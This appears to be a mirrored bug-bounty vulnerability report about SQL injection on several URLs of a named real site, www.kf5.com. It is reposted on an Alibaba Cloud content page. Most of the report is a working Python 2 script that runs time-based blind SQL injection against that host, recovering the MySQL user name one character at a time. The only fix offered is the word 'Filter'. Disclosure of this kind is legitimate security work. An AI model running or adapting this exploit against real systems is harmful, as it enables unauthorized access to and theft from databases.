SQL injection vulnerability exists in multiple sites of Chengdu yichuang WWW (package submission/script)

Source: Internet
Author: User

SQL injection vulnerability exists in multiple sites of Chengdu yichuang WWW (package submission/script)

Multiple SQL Injection Vulnerabilities in Chengdu yichuang WWW Main Site

The Chengdu yichuang WWW master site has multiple SQL Injection Vulnerabilities and is submitted together! Vulnerability URL:
 

http://www.kf5.com/resources/index?id=2


 

http://www.kf5.com/resources/view/id/60/


 

http://www.kf5.com/resources/index/id/2


 

http://www.kf5.com/resources/view?id=60/


 

... Maybe there are other places...



First, an error is reported.
 



Basically, it is determined that the injection exists. However, if the server seems to have a firewall, sqlmap is useless.

First, manually obtain the length of the user as 16
 



Run the script to run the user
 

 



Script:
 

#encoding=utf-8import httplibimport timeimport stringimport sysimport randomimport urllibimport mathheaders = {}payloads = 'abcdefghijklmnopqrstuvwxyz0123456789@_.'print 'Start to retrive MySQL User:'user= ''for i in range(1, 17):    for payload in payloads:            s = "/resources/view?id=if(now()=sysdate(),SLEEP(IF(ascii(mid(user(),%s,1))=%s,10,0)),0)" % (i, ord(payload))            conn = httplib.HTTPConnection('www.kf5.com', timeout=150)            conn.request(method='GET',                         url=s,                         headers=headers)            start_time = time.time()            conn.getresponse()            conn.close()            print '.',            if time.time() - start_time > 10.0:                user += payload                print '\n\n[in progress]', user,                breakprint '\n\n[Done] MySQL User is %s' % user

 

Solution:

Filter

Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.